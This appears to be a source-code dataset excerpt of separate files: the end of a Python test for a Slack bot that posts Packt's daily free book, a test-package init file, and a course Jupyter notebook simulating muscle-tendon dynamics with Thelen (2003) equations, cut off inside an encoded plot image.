f'https://static.packt-cdn.com/products/{product_id}/summary', body=json.dumps({'title': title, 'coverImage': image_url}), headers={'Content-Type': 'application/json'}, ) bot_config.CHANNELS = { 'general': 'general', } bot = FakeBot(bot_config) bot.add_channel('C1', 'general') await auto_packtpub_dotd(bot) said = bot.call_queue.pop(0) assert said.method == 'chat.postMessage' assert said.data['channel'] == 'C1' assert said.data['text'] == '오늘자 PACKT Book의 무료책이에요!' attachments = said.data['attachments'] assert len(attachments) == 1 assert attachments[0]['fallback'] == f'{title} - {PACKTPUB_URL}' assert attachments[0]['title'] == title assert attachments[0]['title_link'] == PACKTPUB_URL assert attachments[0]['text'] == ( f'오늘의 Packt Book Deal of The Day: {title} - {PACKTPUB_URL}' ) assert attachments[0]['image_url'] == image_url

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102

py

Python

test/__init__.py

zosiakropka/rich-text-py

a317da6cbd9e0d06e98e2cfcf43f9c3b0c5b091b

[ "MIT" ]

1

2016-04-06T22:46:47.000Z

test/__init__.py

zosiakropka/rich-text-py

a317da6cbd9e0d06e98e2cfcf43f9c3b0c5b091b

[ "MIT" ]

null

test/__init__.py

zosiakropka/rich-text-py

a317da6cbd9e0d06e98e2cfcf43f9c3b0c5b091b

[ "MIT" ]

null

from test_attributes import * from test_iterator import * from test_iz import * from test_op import *

20.4

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4.875

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0.538462

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789b7c858bdc94d1e217ec4c670d2b9c2d8fb55a

82,789

py

Python

courses/modsim2018/tasks/Tasks_For&During_Lecture13/CodeOfFriend.py

raissabthibes/bmc

840800fb94ea3bf188847d0771ca7197dfec68e3

[ "MIT" ]

null

courses/modsim2018/tasks/Tasks_For&During_Lecture13/CodeOfFriend.py

raissabthibes/bmc

840800fb94ea3bf188847d0771ca7197dfec68e3

[ "MIT" ]

null

courses/modsim2018/tasks/Tasks_For&During_Lecture13/CodeOfFriend.py

raissabthibes/bmc

840800fb94ea3bf188847d0771ca7197dfec68e3

[ "MIT" ]

null

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Task 12 - Motor Control\n", "### Introduction to modeling and simulation of human movement\n", "https://github.com/BMClab/bmc/blob/master/courses/ModSim2018.md" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Desiree Miraldo \n", "Renato Watanabe\n", "\n", "\n", "* Based on task for Lecture 11 (+ muscle activation dynamics + pennation angle):\n", "\n", "Change the derivative of the contractile element length function. The new function must compute the derivative according to the article from Thelen (2003) (Eqs. (1), (2), (6) and (7)):\n", "\n", " Thelen D; Adjustment of muscle mechanics model parameters to simulate dynamic contractions in older adults (2003)" ] }, { "cell_type": "code", "execution_count": 1, "metadata": {}, "outputs": [], "source": [ "import numpy as np\n", "#import pandas as pd\n", "import matplotlib.pyplot as plt\n", "import math\n", "\n", "%matplotlib notebook" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Muscle properties" ] }, { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [], "source": [ "Lslack = .223\n", "Umax = .04\n", "Lce_o = .093 #optmal l\n", "width = .63#*Lce_o\n", "Fmax = 7400\n", "a = 0\n", "u = 0.5\n", "#b = .25*10#*Lce_o " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Initial conditions" ] }, { "cell_type": "code", "execution_count": 3, "metadata": {}, "outputs": [], "source": [ "Lnorm_ce = .087/Lce_o #norm\n", "t0 = 0\n", "tf = 5\n", "h = 1e-3" ] }, { "cell_type": "code", "execution_count": 4, "metadata": {}, "outputs": [], "source": [ "t = np.arange(t0,tf,h)\n", "F = np.empty(t.shape)\n", "Fkpe = np.empty(t.shape)\n", "FiberLen = np.empty(t.shape)\n", "TendonLen = np.empty(t.shape)\n", "a_dynamics = np.empty(t.shape)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Simulation - Series" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "for i in range (len(t)):\n", " #ramp\n", " if t[i]<=1:\n", " Lm = 0.31\n", " elif t[i]>1 and t[i]<2:\n", " Lm = .31 + .1*(t[i]-1)\n", " #print(Lm)\n", " \n", " #shortening at 4cm/s\n", " Lsee = Lm - Lce\n", " \n", " if Lsee<Lslack: \n", " F[i] = 0\n", " else: \n", " F[i] = Fmax*((Lsee-Lslack)/(Umax*Lslack))**2\n", " \n", " \n", " #isometric force at Lce from CE force length relationship\n", " F0 = max([0, Fmax*(1-((Lce-Lce_o)/width)**2)])\n", " \n", " #calculate CE velocity from Hill's equation\n", " if F[i]>F0: print('Error: cannot do eccentric contractions')\n", " \n", " Lcedot = -b*(F0-F[i])/(F[i]+a) #vel is negative for shortening\n", " \n", " # --- Euler integration step\n", " Lce += h*Lcedot\n", "\n", " " ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [], "source": [ "def TendonForce (Lnorm_see,Lslack, Lce_o):\n", " '''\n", " Compute tendon force\n", "\n", " Inputs:\n", " Lnorm_see = normalized tendon length\n", " Lslack = slack length of the tendon (non-normalized)\n", " Lce_o = optimal length of the fiber\n", " \n", " Output:\n", " Fnorm_tendon = normalized tendon force\n", " \n", " '''\n", " Umax = .04\n", " \n", " if Lnorm_see<Lslack/Lce_o: \n", " Fnorm_tendon = 0\n", " else: \n", " Fnorm_tendon = ((Lnorm_see-Lslack/Lce_o)/(Umax*Lslack/Lce_o))**2\n", " \n", " return Fnorm_tendon" ] }, { "cell_type": "code", "execution_count": 6, "metadata": {}, "outputs": [], "source": [ "def ParallelElementForce (Lnorm_ce):\n", " '''\n", " Compute parallel element force\n", " \n", " Inputs:\n", " Lnorm_ce = normalized contractile element length\n", " \n", " Output:\n", " Fnorm_kpe = normalized parallel element force\n", "\n", " '''\n", " Umax = 1\n", " \n", " if Lnorm_ce< 1: \n", " Fnorm_kpe = 0\n", " else: \n", " Fnorm_kpe = ((Lnorm_ce-1)/(Umax*1))**2 \n", " \n", " return Fnorm_kpe" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [], "source": [ "def ForceLengthCurve (Lnorm_ce,width):\n", " F0 = max([0, (1-((Lnorm_ce-1)/width)**2)])\n", " return F0" ] }, { "cell_type": "markdown", "metadata": { "collapsed": true }, "source": [ "def ContractileElementDot(F0, Fnorm_CE, a, b):\n", " \n", " '''\n", " Compute Contractile Element Derivative\n", "\n", " Inputs:\n", " F0 = Force-Length Curve\n", " Fce = Contractile element force\n", " \n", " Output:\n", " Lnorm_cedot = normalized contractile element length derivative\n", "\n", " '''\n", " \n", " if Fnorm_CE>F0: print('Error: cannot do eccentric contractions')\n", " \n", " Lnorm_cedot = -b*(F0-Fnorm_CE)/(Fnorm_CE + a) #vel is negative for shortening\n", " \n", " return Lnorm_cedot" ] }, { "cell_type": "code", "execution_count": 8, "metadata": {}, "outputs": [], "source": [ "def ContractileElementDot(F0, Fnorm_CE, a):\n", " \n", " '''\n", " Compute Contractile Element Derivative\n", "\n", " Inputs:\n", " F0 = Force-Length Curve\n", " Fce = Contractile element force\n", " \n", " Output:\n", " Lnorm_cedot = normalized contractile element length derivative\n", "\n", " '''\n", " \n", " FMlen = 1.4 # young adults\n", " Vmax = 10 # young adults\n", " Af = 0.25 #force-velocity shape factor\n", " \n", " Fnorm_CE = min(FMlen*a*F0 - 0.001, Fnorm_CE)\n", " \n", " if Fnorm_CE > a*F0:\n", " \n", " b = ((2 + 2/Af)*(a*F0*FMlen - Fnorm_CE))/(FMlen-1)\n", " \n", " elif Fnorm_CE <= a*F0:\n", " \n", " b = a*F0 + Fnorm_CE/Af\n", " \n", " Lnorm_cedot = (.25 + .75*a)*Vmax*((Fnorm_CE - a*F0)/b)\n", " \n", " return Lnorm_cedot" ] }, { "cell_type": "code", "execution_count": 9, "metadata": {}, "outputs": [], "source": [ "def ContractileElementForce(Fnorm_tendon,Fnorm_kpe, alpha):\n", " '''\n", " Compute Contractile Element force\n", "\n", " Inputs:\n", " Fnorm_tendon = normalized tendon force\n", " Fnorm_kpe = normalized parallel element force\n", " \n", " Output:\n", " Fnorm_CE = normalized contractile element force\n", " '''\n", " Fnorm_CE = Fnorm_tendon/np.cos(alpha) - Fnorm_kpe\n", " return Fnorm_CE" ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [], "source": [ "def tendonLength(Lm,Lce_o,Lnorm_ce, alpha):\n", " '''\n", " Compute tendon length\n", " \n", " Inputs:\n", " Lm = \n", " Lce_o = optimal length of the fiber\n", " Lnorm_ce = normalized contractile element length\n", " \n", " Output:\n", " Lnorm_see = normalized tendon length \n", " '''\n", " Lnorm_see = Lm/Lce_o - Lnorm_ce*np.cos(alpha)\n", " \n", " return Lnorm_see" ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [], "source": [ "def activation(a,u,dt):\n", " '''\n", " Compute activation\n", " \n", " Inputs:\n", " u = idealized muscle excitation signal, 0 <= u <= 1\n", " a = muscular activation\n", " dt = time step\n", " \n", " Output:\n", " a = muscular activation \n", " '''\n", " \n", " tau_deact = 50e-3 #young adults\n", " tau_act = 15e-3\n", " \n", " if u>a:\n", " tau_a = tau_act*(0.5+1.5*a)\n", " elif u <=a:\n", " tau_a = tau_deact/(0.5+1.5*a)\n", " \n", " #-------\n", " dadt = (u-a)/tau_a # euler\n", " \n", " a += dadt*dt\n", " #-------\n", " return a" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Simulation - Parallel" ] }, { "cell_type": "code", "execution_count": 12, "metadata": {}, "outputs": [], "source": [ "#Normalizing\n", "alpha = 25*np.pi/180\n", "for i in range (len(t)):\n", " #ramp\n", " if t[i]<=1:\n", " Lm = 0.31\n", " elif t[i]>1 and t[i]<2:\n", " Lm = .31 - .04*(t[i]-1)\n", " #print(Lm)\n", " \n", " #shortening at 4cm/s\n", " u = 0.7 + 0.2*np.sin(np.pi*t[i])\n", " \n", " Lnorm_see = tendonLength(Lm,Lce_o,Lnorm_ce, alpha)\n", "\n", " Fnorm_tendon = TendonForce (Lnorm_see,Lslack, Lce_o) \n", " \n", " Fnorm_kpe = ParallelElementForce (Lnorm_ce) \n", " \n", " #isometric force at Lce from CE force length relationship\n", " F0 = ForceLengthCurve (Lnorm_ce,width)\n", " \n", " Fnorm_CE = ContractileElementForce(Fnorm_tendon,Fnorm_kpe, alpha) #Fnorm_CE = ~Fm\n", " \n", " #computing activation\n", " a = activation(a,u,h)\n", " \n", " #calculate CE velocity from Hill's equation \n", " Lnorm_cedot = ContractileElementDot(F0, Fnorm_CE,a)\n", " \n", " # --- Euler integration step\n", " Lnorm_ce += h*Lnorm_cedot\n", "\n", " \n", " F[i] = Fnorm_tendon*Fmax\n", " Fkpe[i] = Fnorm_kpe*Fmax\n", " FiberLen[i] = Lnorm_ce*Lce_o\n", " TendonLen[i] = Lnorm_see*Lce_o\n", " a_dynamics[i] = a\n", " " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Plots " ] }, { "cell_type": "code", "execution_count": 13, "metadata": { "scrolled": false }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "/opt/miniconda3/lib/python3.6/site-packages/matplotlib/axes/_axes.py:545: UserWarning: No labelled objects found. Use label='...' kwarg on individual plots.\n", " warnings.warn(\"No labelled objects found. \"\n" ] }, { "data": { "image/png": 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